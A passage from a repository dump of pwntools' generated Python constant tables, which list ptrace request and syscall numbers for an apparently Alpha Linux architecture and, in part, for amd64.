Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nSYS_accept = Constant('SYS_accept',99)\nSYS_accept4 = Constant('SYS_accept4',502)\nSYS_access = Constant('SYS_access',33)\nSYS_acct = Constant('SYS_acct',51)\nSYS_add_key = Constant('SYS_add_key',439)\nSYS_adjtimex = Constant('SYS_adjtimex',366)\nSYS_afs_syscall = Constant('SYS_afs_syscall',338)\nSYS_bdflush = Constant('SYS_bdflush',300)\nSYS_bind = Constant('SYS_bind',104)\nSYS_bpf = Constant('SYS_bpf',515)\nSYS_brk = Constant('SYS_brk',17)\nSYS_capget = Constant('SYS_capget',368)\nSYS_capset = Constant('SYS_capset',369)\nSYS_chdir = Constant('SYS_chdir',12)\nSYS_chmod = Constant('SYS_chmod',15)\nSYS_chown = Constant('SYS_chown',16)\nSYS_chroot = Constant('SYS_chroot',61)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',499)\nSYS_clock_getres = Constant('SYS_clock_getres',421)\nSYS_clock_gettime = Constant('SYS_clock_gettime',420)\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',422)\nSYS_clock_settime = Constant('SYS_clock_settime',419)\nSYS_clone = Constant('SYS_clone',312)\nSYS_close = Constant('SYS_close',6)\nSYS_connect = Constant('SYS_connect',98)\nSYS_copy_file_range = Constant('SYS_copy_file_range',519)\nSYS_create_module = Constant('SYS_create_module',306)\nSYS_delete_module = Constant('SYS_delete_module',308)\nSYS_dipc = Constant('SYS_dipc',373)\nSYS_dup = Constant('SYS_dup',41)\nSYS_dup2 = Constant('SYS_dup2',90)\nSYS_dup3 = Constant('SYS_dup3',487)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',486)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',474)\nSYS_eventfd = Constant('SYS_eventfd',478)\nSYS_eventfd2 = Constant('SYS_eventfd2',485)\nSYS_execve = Constant('SYS_execve',59)\nSYS_execveat = Constant('SYS_execveat',513)\nSYS_exec_with_loader = Constant('SYS_exec_with_loader',25)\nSYS_exit = Constant('SYS_exit',1)\nSYS_exit_group = Constant('SYS_exit_group',405)\nSYS_faccessat = Constant('SYS_faccessat',462)\nSYS_fadvise64 = Constant('SYS_fadvise64',413)\nSYS_fallocate = Constant('SYS_fallocate',480)\nSYS_fanotify_init = Constant('SYS_fanotify_init',494)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',495)\nSYS_fchdir = Constant('SYS_fchdir',13)\nSYS_fchmod = Constant('SYS_fchmod',124)\nSYS_fchmodat = Constant('SYS_fchmodat',461)\nSYS_fchown = Constant('SYS_fchown',123)\nSYS_fchownat = Constant('SYS_fchownat',453)\nSYS_fcntl = Constant('SYS_fcntl',92)\nSYS_fdatasync = Constant('SYS_fdatasync',447)\nSYS_fgetxattr = Constant('SYS_fgetxattr',387)\nSYS_finit_module = Constant('SYS_finit_module',507)\nSYS_flistxattr = Constant('SYS_flistxattr',390)\nSYS_flock = Constant('SYS_flock',131)\nSYS_fork = Constant('SYS_fork',2)\nSYS_fremovexattr = Constant('SYS_fremovexattr',393)\nSYS_fsconfig = Constant('SYS_fsconfig',541)\nSYS_fsetxattr = Constant('SYS_fsetxattr',384)\nSYS_fsmount = Constant('SYS_fsmount',542)\nSYS_fsopen = Constant('SYS_fsopen',540)\nSYS_fspick = Constant('SYS_fspick',543)\nSYS_fstat = Constant('SYS_fstat',91)\nSYS_fstat64 = Constant('SYS_fstat64',427)\nSYS_fstatat64 = Constant('SYS_fstatat64',455)\nSYS_fstatfs = Constant('SYS_fstatfs',329)\nSYS_fstatfs64 = Constant('SYS_fstatfs64',529)\nSYS_fsync = Constant('SYS_fsync',95)\nSYS_ftruncate = Constant('SYS_ftruncate',130)\nSYS_futex = Constant('SYS_futex',394)\nSYS_futimesat = Constant('SYS_futimesat',454)\nSYS_getcpu = Constant('SYS_getcpu',473)\nSYS_getcwd = Constant('SYS_getcwd',367)\nSYS_getdents = Constant('SYS_getdents',305)\nSYS_getdents64 = Constant('SYS_getdents64',377)\nSYS_getdtablesize = Constant('SYS_getdtablesize',89)\nSYS_getegid = Constant('SYS_getegid',530)\nSYS_geteuid = Constant('SYS_geteuid',531)\nSYS_getgroups = Constant('SYS_getgroups',79)\nSYS_gethostname = Constant('SYS_gethostname',87)\nSYS_getitimer = Constant('SYS_getitimer',361)\nSYS_get_kernel_syms = Constant('SYS_get_kernel_syms',309)\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',430)\nSYS_getpagesize = Constant('SYS_getpagesize',64)\nSYS_getpeername = Constant('SYS_getpeername',141)\nSYS_getpgid = Constant('SYS_getpgid',233)\nSYS_getpgrp = Constant('SYS_getpgrp',63)\nSYS_getppid = Constant('SYS_getppid',532)\nSYS_getpriority = Constant('SYS_getpriority',100)\nSYS_getrandom = Constant('SYS_getrandom',511)\nSYS_getresgid = Constant('SYS_getresgid',372)\nSYS_getresuid = Constant('SYS_getresuid',344)\nSYS_getrlimit = Constant('SYS_getrlimit',144)\nSYS_get_robust_list = Constant('SYS_get_robust_list',467)\nSYS_getrusage = Constant('SYS_getrusage',364)\nSYS_getsid = Constant('SYS_getsid',234)\nSYS_getsockname = Constant('SYS_getsockname',150)\nSYS_getsockopt = Constant('SYS_getsockopt',118)\nSYS_gettid = Constant('SYS_gettid',378)\nSYS_gettimeofday = Constant('SYS_gettimeofday',359)\nSYS_getxattr = Constant('SYS_getxattr',385)\nSYS_getxgid = Constant('SYS_getxgid',47)\nSYS_getxpid = Constant('SYS_getxpid',20)\nSYS_getxuid = Constant('SYS_getxuid',24)\nSYS_init_module = Constant('SYS_init_module',307)\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',445)\nSYS_inotify_init = Constant('SYS_inotify_init',444)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',489)\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',446)\nSYS_io_cancel = Constant('SYS_io_cancel',402)\nSYS_ioctl = Constant('SYS_ioctl',54)\nSYS_io_destroy = Constant('SYS_io_destroy',399)\nSYS_io_getevents = Constant('SYS_io_getevents',400)\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',523)\nSYS_ioprio_get = Constant('SYS_ioprio_get',443)\nSYS_ioprio_set = Constant('SYS_ioprio_set',442)\nSYS_io_setup = Constant('SYS_io_setup',398)\nSYS_io_submit = Constant('SYS_io_submit',401)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',536)\nSYS_io_uring_register = Constant('SYS_io_uring_register',537)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',535)\nSYS_kcmp = Constant('SYS_kcmp',506)\nSYS_kexec_load = Constant('SYS_kexec_load',448)\nSYS_keyctl = Constant('SYS_keyctl',441)\nSYS_kill = Constant('SYS_kill',37)\nSYS_lchown = Constant('SYS_lchown',208)\nSYS_lgetxattr = Constant('SYS_lgetxattr',386)\nSYS_link = Constant('SYS_link',9)\nSYS_linkat = Constant('SYS_linkat',458)\nSYS_listen = Constant('SYS_listen',106)\nSYS_listxattr = Constant('SYS_listxattr',388)\nSYS_llistxattr = Constant('SYS_llistxattr',389)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',406)\nSYS_lremovexattr = Constant('SYS_lremovexattr',392)\nSYS_lseek = Constant('SYS_lseek',19)\nSYS_lsetxattr = Constant('SYS_lsetxattr',383)\nSYS_lstat = Constant('SYS_lstat',68)\nSYS_lstat64 = Constant('SYS_lstat64',426)\nSYS_madvise = Constant('SYS_madvise',75)\nSYS_mbind = Constant('SYS_mbind',429)\nSYS_membarrier = Constant('SYS_membarrier',517)\nSYS_memfd_create = Constant('SYS_memfd_create',512)\nSYS_migrate_pages = Constant('SYS_migrate_pages',449)\nSYS_mincore = Constant('SYS_mincore',375)\nSYS_mkdir = Constant('SYS_mkdir',136)\nSYS_mkdirat = Constant('SYS_mkdirat',451)\nSYS_mknod = Constant('SYS_mknod',14)\nSYS_mknodat = Constant('SYS_mknodat',452)\nSYS_mlock = Constant('SYS_mlock',314)\nSYS_mlock2 = Constant('SYS_mlock2',518)\nSYS_mlockall = Constant('SYS_mlockall',316)\nSYS_mmap = Constant('SYS_mmap',71)\nSYS_mount = Constant('SYS_mount',302)\nSYS_move_mount = Constant('SYS_move_mount',539)\nSYS_move_pages = Constant('SYS_move_pages',472)\nSYS_mprotect = Constant('SYS_mprotect',74)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',437)\nSYS_mq_notify = Constant('SYS_mq_notify',436)\nSYS_mq_open = Constant('SYS_mq_open',432)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',435)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',434)\nSYS_mq_unlink = Constant('SYS_mq_unlink',433)\nSYS_mremap = Constant('SYS_mremap',341)\nSYS_msgctl = Constant('SYS_msgctl',200)\nSYS_msgget = Constant('SYS_msgget',201)\nSYS_msgrcv = Constant('SYS_msgrcv',202)\nSYS_msgsnd = Constant('SYS_msgsnd',203)\nSYS_msync = Constant('SYS_msync',217)\nSYS_munlock = Constant('SYS_munlock',315)\nSYS_munlockall = Constant('SYS_munlockall',317)\nSYS_munmap = Constant('SYS_munmap',73)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',497)\nSYS_nanosleep = Constant('SYS_nanosleep',340)\nSYS_nfsservctl = Constant('SYS_nfsservctl',342)\nSYS_old_adjtimex = Constant('SYS_old_adjtimex',303)\nSYS_oldumount = Constant('SYS_oldumount',321)\nSYS_open = Constant('SYS_open',45)\nSYS_openat = Constant('SYS_openat',450)\nSYS_openat2 = Constant('SYS_openat2',547)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',498)\nSYS_open_tree = Constant('SYS_open_tree',538)\nSYS_osf_adjtime = Constant('SYS_osf_adjtime',140)\nSYS_osf_afs_syscall = Constant('SYS_osf_afs_syscall',258)\nSYS_osf_alt_plock = Constant('SYS_osf_alt_plock',181)\nSYS_osf_alt_setsid = Constant('SYS_osf_alt_setsid',188)\nSYS_osf_alt_sigpending = Constant('SYS_osf_alt_sigpending',187)\nSYS_osf_asynch_daemon = Constant('SYS_osf_asynch_daemon',163)\nSYS_osf_audcntl = Constant('SYS_osf_audcntl',252)\nSYS_osf_audgen = Constant('SYS_osf_audgen',253)\nSYS_osf_chflags = Constant('SYS_osf_chflags',34)\nSYS_osf_execve = Constant('SYS_osf_execve',11)\nSYS_osf_exportfs = Constant('SYS_osf_exportfs',169)\nSYS_osf_fchflags = Constant('SYS_osf_fchflags',35)\nSYS_osf_fdatasync = Constant('SYS_osf_fdatasync',261)\nSYS_osf_fpathconf = Constant('SYS_osf_fpathconf',248)\nSYS_osf_fstatfs = Constant('SYS_osf_fstatfs',161)\nSYS_osf_fuser = Constant('SYS_osf_fuser',243)\nSYS_osf_getaddressconf = Constant('SYS_osf_getaddressconf',214)\nSYS_osf_getdirentries = Constant('SYS_osf_getdirentries',159)\nSYS_osf_getdomainname = Constant('SYS_osf_getdomainname',165)\nSYS_osf_getfh = Constant('SYS_osf_getfh',164)\nSYS_osf_getfsstat = Constant('SYS_osf_getfsstat',18)\nSYS_osf_gethostid = Constant('SYS_osf_gethostid',142)\nSYS_osf_getitimer = Constant('SYS_osf_getitimer',86)\nSYS_osf_getlogin = Constant('SYS_osf_getlogin',49)\nSYS_osf_getmnt = Constant('SYS_osf_getmnt',184)\nSYS_osf_getrusage = Constant('SYS_osf_getrusage',117)\nSYS_osf_getsysinfo = Constant('SYS_osf_getsysinfo',256)\nSYS_osf_gettimeofday = Constant('SYS_osf_gettimeofday',116)\nSYS_osf_kloadcall = Constant('SYS_osf_kloadcall',223)\nSYS_osf_kmodcall = Constant('SYS_osf_kmodcall',77)\nSYS_osf_memcntl = Constant('SYS_osf_memcntl',260)\nSYS_osf_mincore = Constant('SYS_osf_mincore',78)\nSYS_osf_mount = Constant('SYS_osf_mount',21)\nSYS_osf_mremap = Constant('SYS_osf_mremap',65)\nSYS_osf_msfs_syscall = Constant('SYS_osf_msfs_syscall',240)\nSYS_osf_msleep = Constant('SYS_osf_msleep',215)\nSYS_osf_mvalid = Constant('SYS_osf_mvalid',213)\nSYS_osf_mwakeup = Constant('SYS_osf_mwakeup',216)\nSYS_osf_naccept = Constant('SYS_osf_naccept',30)\nSYS_osf_nfssvc = Constant('SYS_osf_nfssvc',158)\nSYS_osf_ngetpeername = Constant('SYS_osf_ngetpeername',31)\nSYS_osf_ngetsockname = Constant('SYS_osf_ngetsockname',32)\nSYS_osf_nrecvfrom = Constant('SYS_osf_nrecvfrom',29)\nSYS_osf_nrecvmsg = Constant('SYS_osf_nrecvmsg',27)\nSYS_osf_nsendmsg = Constant('SYS_osf_nsendmsg',28)\nSYS_osf_ntp_adjtime = Constant('SYS_osf_ntp_adjtime',245)\nSYS_osf_ntp_gettime = Constant('SYS_osf_ntp_gettime',246)\nSYS_osf_old_creat = Constant('SYS_osf_old_creat',8)\nSYS_osf_old_fstat = Constant('SYS_osf_old_fstat',62)\nSYS_osf_old_getpgrp = Constant('SYS_osf_old_getpgrp',81)\nSYS_osf_old_killpg = Constant('SYS_osf_old_killpg',146)\nSYS_osf_old_lstat = Constant('SYS_osf_old_lstat',40)\nSYS_osf_old_open = Constant('SYS_osf_old_open',5)\nSYS_osf_oldquota = Constant('SYS_osf_oldquota',149)\nSYS_osf_old_sigaction = Constant('SYS_osf_old_sigaction',46)\nSYS_osf_old_sigblock = Constant('SYS_osf_old_sigblock',109)\nSYS_osf_old_sigreturn = Constant('SYS_osf_old_sigreturn',139)\nSYS_osf_old_sigsetmask = Constant('SYS_osf_old_sigsetmask',110)\nSYS_osf_old_sigvec = Constant('SYS_osf_old_sigvec',108)\nSYS_osf_old_stat = Constant('SYS_osf_old_stat',38)\nSYS_osf_old_vadvise = Constant('SYS_osf_old_vadvise',72)\nSYS_osf_old_vtrace = Constant('SYS_osf_old_vtrace',115)\nSYS_osf_old_wait = Constant('SYS_osf_old_wait',84)\nSYS_osf_pathconf = Constant('SYS_osf_pathconf',247)\nSYS_osf_pid_block = Constant('SYS_osf_pid_block',153)\nSYS_osf_pid_unblock = Constant('SYS_osf_pid_unblock',154)\nSYS_osf_plock = Constant('SYS_osf_plock',107)\nSYS_osf_priocntlset = Constant('SYS_osf_priocntlset',237)\nSYS_osf_profil = Constant('SYS_osf_profil',44)\nSYS_osf_proplist_syscall = Constant('SYS_osf_proplist_syscall',244)\nSYS_osf_reboot = Constant('SYS_osf_reboot',55)\nSYS_osf_revoke = Constant('SYS_osf_revoke',56)\nSYS_osf_sbrk = Constant('SYS_osf_sbrk',69)\nSYS_osf_security = Constant('SYS_osf_security',222)\nSYS_osf_select = Constant('SYS_osf_select',93)\nSYS_osf_sethostid = Constant('SYS_osf_sethostid',143)\nSYS_osf_setitimer = Constant('SYS_osf_setitimer',83)\nSYS_osf_setlogin = Constant('SYS_osf_setlogin',50)\nSYS_osf_set_program_attributes = Constant('SYS_osf_set_program_attributes',43)\nSYS_osf_set_speculative = Constant('SYS_osf_set_speculative',239)\nSYS_osf_setsysinfo = Constant('SYS_osf_setsysinfo',257)\nSYS_osf_settimeofday = Constant('SYS_osf_settimeofday',122)\nSYS_osf_shmat = Constant('SYS_osf_shmat',209)\nSYS_osf_signal = Constant('SYS_osf_signal',218)\nSYS_osf_sigprocmask = Constant('SYS_osf_sigprocmask',48)\nSYS_osf_sigsendset = Constant('SYS_osf_sigsendset',238)\nSYS_osf_sigstack = Constant('SYS_osf_sigstack',112)\nSYS_osf_sigwaitprim = Constant('SYS_osf_sigwaitprim',157)\nSYS_osf_sstk = Constant('SYS_osf_sstk',70)\nSYS_osf_statfs = Constant('SYS_osf_statfs',160)\nSYS_osf_subsys_info = Constant('SYS_osf_subsys_info',255)\nSYS_osf_swapctl = Constant('SYS_osf_swapctl',259)\nSYS_osf_swapon = Constant('SYS_osf_swapon',199)\nSYS_osf_syscall = Constant('SYS_osf_syscall',0)\nSYS_osf_sysinfo = Constant('SYS_osf_sysinfo',241)\nSYS_osf_table = Constant('SYS_osf_table',85)\nSYS_osf_uadmin = Constant('SYS_osf_uadmin',242)\nSYS_osf_usleep_thread = Constant('SYS_osf_usleep_thread',251)\nSYS_osf_uswitch = Constant('SYS_osf_uswitch',250)\nSYS_osf_utc_adjtime = Constant('SYS_osf_utc_adjtime',220)\nSYS_osf_utc_gettime = Constant('SYS_osf_utc_gettime',219)\nSYS_osf_utimes = Constant('SYS_osf_utimes',138)\nSYS_osf_utsname = Constant('SYS_osf_utsname',207)\nSYS_osf_wait4 = Constant('SYS_osf_wait4',7)\nSYS_osf_waitid = Constant('SYS_osf_waitid',236)\nSYS_pciconfig_iobase = Constant('SYS_pciconfig_iobase',376)\nSYS_pciconfig_read = Constant('SYS_pciconfig_read',345)\nSYS_pciconfig_write = Constant('SYS_pciconfig_write',346)\nSYS_perf_event_open = Constant('SYS_perf_event_open',493)\nSYS_personality = Constant('SYS_personality',324)\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',548)\nSYS_pidfd_open = Constant('SYS_pidfd_open',544)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',534)\nSYS_pipe = Constant('SYS_pipe',42)\nSYS_pipe2 = Constant('SYS_pipe2',488)\nSYS_pivot_root = Constant('SYS_pivot_root',374)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',525)\nSYS_pkey_free = Constant('SYS_pkey_free',526)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',524)\nSYS_poll = Constant('SYS_poll',94)\nSYS_ppoll = Constant('SYS_ppoll',464)\nSYS_prctl = Constant('SYS_prctl',348)\nSYS_pread = Constant('SYS_pread',349)\nSYS_preadv = Constant('SYS_preadv',490)\nSYS_preadv2 = Constant('SYS_preadv2',520)\nSYS_prlimit64 = Constant('SYS_prlimit64',496)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',504)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',505)\nSYS_pselect6 = Constant('SYS_pselect6',463)\nSYS_ptrace = Constant('SYS_ptrace',26)\nSYS_pwrite = Constant('SYS_pwrite',350)\nSYS_pwritev = Constant('SYS_pwritev',491)\nSYS_pwritev2 = Constant('SYS_pwritev2',521)\nSYS_query_module = Constant('SYS_query_module',347)\nSYS_quotactl = Constant('SYS_quotactl',148)\nSYS_read = Constant('SYS_read',3)\nSYS_readahead = Constant('SYS_readahead',379)\nSYS_readlink = Constant('SYS_readlink',58)\nSYS_readlinkat = Constant('SYS_readlinkat',460)\nSYS_readv = Constant('SYS_readv',120)\nSYS_reboot = Constant('SYS_reboot',311)\nSYS_recv = Constant('SYS_recv',102)\nSYS_recvfrom = Constant('SYS_recvfrom',125)\nSYS_recvmmsg = Constant('SYS_recvmmsg',479)\nSYS_recvmsg = Constant('SYS_recvmsg',113)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',410)\nSYS_removexattr = Constant('SYS_removexattr',391)\nSYS_rename = Constant('SYS_rename',128)\nSYS_renameat = Constant('SYS_renameat',457)\nSYS_renameat2 = Constant('SYS_renameat2',510)\nSYS_request_key = Constant('SYS_request_key',440)\nSYS_restart_syscall = Constant('SYS_restart_syscall',412)\nSYS_rmdir = Constant('SYS_rmdir',137)\nSYS_rseq = Constant('SYS_rseq',527)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',352)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',354)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',353)\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',356)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',351)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',357)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',355)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',492)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',396)\nSYS_sched_getattr = Constant('SYS_sched_getattr',509)\nSYS_sched_getparam = Constant('SYS_sched_getparam',331)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',335)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',336)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',333)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',337)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',395)\nSYS_sched_setattr = Constant('SYS_sched_setattr',508)\nSYS_sched_setparam = Constant('SYS_sched_setparam',330)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',332)\nSYS_sched_yield = Constant('SYS_sched_yield',334)\nSYS_seccomp = Constant('SYS_seccomp',514)\nSYS_select = Constant('SYS_select',358)\nSYS_semctl = Constant('SYS_semctl',204)\nSYS_semget = Constant('SYS_semget',205)\nSYS_semop = Constant('SYS_semop',206)\nSYS_semtimedop = Constant('SYS_semtimedop',423)\nSYS_send = Constant('SYS_send',101)\nSYS_sendfile = Constant('SYS_sendfile',370)\nSYS_sendmmsg = Constant('SYS_sendmmsg',503)\nSYS_sendmsg = Constant('SYS_sendmsg',114)\nSYS_sendto = Constant('SYS_sendto',133)\nSYS_setdomainname = Constant('SYS_setdomainname',166)\nSYS_setfsgid = Constant('SYS_setfsgid',326)\nSYS_setfsuid = Constant('SYS_setfsuid',325)\nSYS_setgid = Constant('SYS_setgid',132)\nSYS_setgroups = Constant('SYS_setgroups',80)\nSYS_sethae = Constant('SYS_sethae',301)\nSYS_sethostname = Constant('SYS_sethostname',88)\nSYS_setitimer = Constant('SYS_setitimer',362)\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',431)\nSYS_setns = Constant('SYS_setns',501)\nSYS_setpgid = Constant('SYS_setpgid',39)\nSYS_setpgrp = Constant('SYS_setpgrp',82)\nSYS_setpriority = Constant('SYS_setpriority',96)\nSYS_setregid = Constant('SYS_setregid',127)\nSYS_setresgid = Constant('SYS_setresgid',371)\nSYS_setresuid = Constant('SYS_setresuid',343)\nSYS_setreuid = Constant('SYS_setreuid',126)\nSYS_setrlimit = Constant('SYS_setrlimit',145)\nSYS_set_robust_list = Constant('SYS_set_robust_list',466)\nSYS_setsid = Constant('SYS_setsid',147)\nSYS_setsockopt = Constant('SYS_setsockopt',105)\nSYS_set_tid_address = Constant('SYS_set_tid_address',411)\nSYS_settimeofday = Constant('SYS_settimeofday',360)\nSYS_setuid = Constant('SYS_setuid',23)\nSYS_setxattr = Constant('SYS_setxattr',382)\nSYS_shmctl = Constant('SYS_shmctl',210)\nSYS_shmdt = Constant('SYS_shmdt',211)\nSYS_shmget = Constant('SYS_shmget',212)\nSYS_shutdown = Constant('SYS_shutdown',134)\nSYS_sigaction = Constant('SYS_sigaction',156)\nSYS_sigaltstack = Constant('SYS_sigaltstack',235)\nSYS_signalfd = Constant('SYS_signalfd',476)\nSYS_signalfd4 = Constant('SYS_signalfd4',484)\nSYS_sigpending = Constant('SYS_sigpending',52)\nSYS_sigreturn = Constant('SYS_sigreturn',103)\nSYS_sigsuspend = Constant('SYS_sigsuspend',111)\nSYS_socket = Constant('SYS_socket',97)\nSYS_socketpair = Constant('SYS_socketpair',135)\nSYS_splice = Constant('SYS_splice',468)\nSYS_stat = Constant('SYS_stat',67)\nSYS_stat64 = Constant('SYS_stat64',425)\nSYS_statfs = Constant('SYS_statfs',328)\nSYS_statfs64 = Constant('SYS_statfs64',528)\nSYS_statx = Constant('SYS_statx',522)\nSYS_swapoff = Constant('SYS_swapoff',304)\nSYS_swapon = Constant('SYS_swapon',322)\nSYS_symlink = Constant('SYS_symlink',57)\nSYS_symlinkat = Constant('SYS_symlinkat',459)\nSYS_sync = Constant('SYS_sync',36)\nSYS_sync_file_range = Constant('SYS_sync_file_range',469)\nSYS_syncfs = Constant('SYS_syncfs',500)\nSYS__sysctl = Constant('SYS__sysctl',319)\nSYS_sys_epoll_create = Constant('SYS_sys_epoll_create',407)\nSYS_sys_epoll_ctl = Constant('SYS_sys_epoll_ctl',408)\nSYS_sys_epoll_wait = Constant('SYS_sys_epoll_wait',409)\nSYS_sysfs = Constant('SYS_sysfs',254)\nSYS_sysinfo = Constant('SYS_sysinfo',318)\nSYS_syslog = Constant('SYS_syslog',310)\nSYS_tee = Constant('SYS_tee',470)\nSYS_tgkill = Constant('SYS_tgkill',424)\nSYS_timer_create = Constant('SYS_timer_create',414)\nSYS_timer_delete = Constant('SYS_timer_delete',418)\nSYS_timerfd = Constant('SYS_timerfd',477)\nSYS_timerfd_create = Constant('SYS_timerfd_create',481)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',483)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',482)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',417)\nSYS_timer_gettime = Constant('SYS_timer_gettime',416)\nSYS_timer_settime = Constant('SYS_timer_settime',415)\nSYS_times = Constant('SYS_times',323)\nSYS_tkill = Constant('SYS_tkill',381)\nSYS_truncate = Constant('SYS_truncate',129)\nSYS_tuxcall = Constant('SYS_tuxcall',397)\nSYS_umask = Constant('SYS_umask',60)\nSYS_umount = Constant('SYS_umount',22)\nSYS_umount_with_flags = Constant('SYS_umount_with_flags',22)\nSYS_umount_without_flags = Constant('SYS_umount_without_flags',321)\nSYS_uname = Constant('SYS_uname',339)\nSYS_unlink = Constant('SYS_unlink',10)\nSYS_unlinkat = Constant('SYS_unlinkat',456)\nSYS_unshare = Constant('SYS_unshare',465)\nSYS_uselib = Constant('SYS_uselib',313)\nSYS_userfaultfd = Constant('SYS_userfaultfd',516)\nSYS_ustat = Constant('SYS_ustat',327)\nSYS_utimensat = Constant('SYS_utimensat',475)\nSYS_utimes = Constant('SYS_utimes',363)\nSYS_vfork = Constant('SYS_vfork',66)\nSYS_vhangup = Constant('SYS_vhangup',76)\nSYS_vmsplice = Constant('SYS_vmsplice',471)\nSYS_vserver = Constant('SYS_vserver',428)\nSYS_wait4 = Constant('SYS_wait4',365)\nSYS_waitid = Constant('SYS_waitid',438)\nSYS_write = Constant('SYS_write',4)\nSYS_writev = Constant('SYS_writev',121)\n"
  },
  {
    "path": "pwnlib/constants/linux/amd64.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_read = Constant('__NR_read',0)\n__NR_write = Constant('__NR_write',1)\n__NR_open = Constant('__NR_open',2)\n__NR_close = Constant('__NR_close',3)\n__NR_stat = Constant('__NR_stat',4)\n__NR_fstat = Constant('__NR_fstat',5)\n__NR_lstat = Constant('__NR_lstat',6)\n__NR_poll = Constant('__NR_poll',7)\n__NR_lseek = Constant('__NR_lseek',8)\n__NR_mmap = Constant('__NR_mmap',9)\n__NR_mprotect = Constant('__NR_mprotect',10)\n__NR_munmap = Constant('__NR_munmap',11)\n__NR_brk = Constant('__NR_brk',12)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',13)\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',14)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',15)\n__NR_ioctl = Constant('__NR_ioctl',16)\n__NR_pread = Constant('__NR_pread',17)\n__NR_pwrite = Constant('__NR_pwrite',18)\n__NR_readv = Constant('__NR_readv',19)\n__NR_writev = Constant('__NR_writev',20)\n__NR_access = Constant('__NR_access',21)\n__NR_pipe = Constant('__NR_pipe',22)\n__NR_select = Constant('__NR_select',23)\n__NR_sched_yield = Constant('__NR_sched_yield',24)\n__NR_mremap = Constant('__NR_mremap',25)\n__NR_msync = Constant('__NR_msync',26)\n__NR_mincore = Constant('__NR_mincore',27)\n__NR_madvise = Constant('__NR_madvise',28)\n__NR_shmget = Constant('__NR_shmget',29)\n__NR_shmat = Constant('__NR_shmat',30)\n__NR_shmctl = Constant('__NR_shmctl',31)\n__NR_dup = Constant('__NR_dup',32)\n__NR_dup2 = Constant('__NR_dup2',33)\n__NR_pause = Constant('__NR_pause',34)\n__NR_nanosleep = Constant('__NR_nanosleep',35)\n__NR_getitimer = Constant('__NR_getitimer',36)\n__NR_alarm = Constant('__NR_alarm',37)\n__NR_setitimer = Constant('__NR_setitimer',38)\n__NR_getpid = Constant('__NR_getpid',39)\n__NR_sendfile = Constant('__NR_sendfile',40)\n__NR_socket = Constant('__NR_socket',41)\n__NR_connect = Constant('__NR_connect',42)\n__NR_accept = Constant('__NR_accept',43)\n__NR_sendto = Constant('__NR_sendto',44)\n__NR_recvfrom = Constant('__NR_recvfrom',45)\n__NR_sendmsg = Constant('__NR_sendmsg',46)\n__NR_recvmsg = Constant('__NR_recvmsg',47)\n__NR_shutdown = Constant('__NR_shutdown',48)\n__NR_bind = Constant('__NR_bind',49)\n__NR_listen = Constant('__NR_listen',50)\n__NR_getsockname = Constant('__NR_getsockname',51)\n__NR_getpeername = Constant('__NR_getpeername',52)\n__NR_socketpair = Constant('__NR_socketpair',53)\n__NR_setsockopt = Constant('__NR_setsockopt',54)\n__NR_getsockopt = Constant('__NR_getsockopt',55)\n__NR_clone = Constant('__NR_clone',56)\n__NR_fork = Constant('__NR_fork',57)\n__NR_vfork = Constant('__NR_vfork',58)\n__NR_execve = Constant('__NR_execve',59)\n__NR_exit = Constant('__NR_exit',60)\n__NR_wait4 = Constant('__NR_wait4',61)\n__NR_kill = Constant('__NR_kill',62)\n__NR_uname = Constant('__NR_uname',63)\n__NR_semget = Constant('__NR_semget',64)\n__NR_semop = Constant('__NR_semop',65)\n__NR_semctl = Constant('__NR_semctl',66)\n__NR_shmdt = Constant('__NR_shmdt',67)\n__NR_msgget = 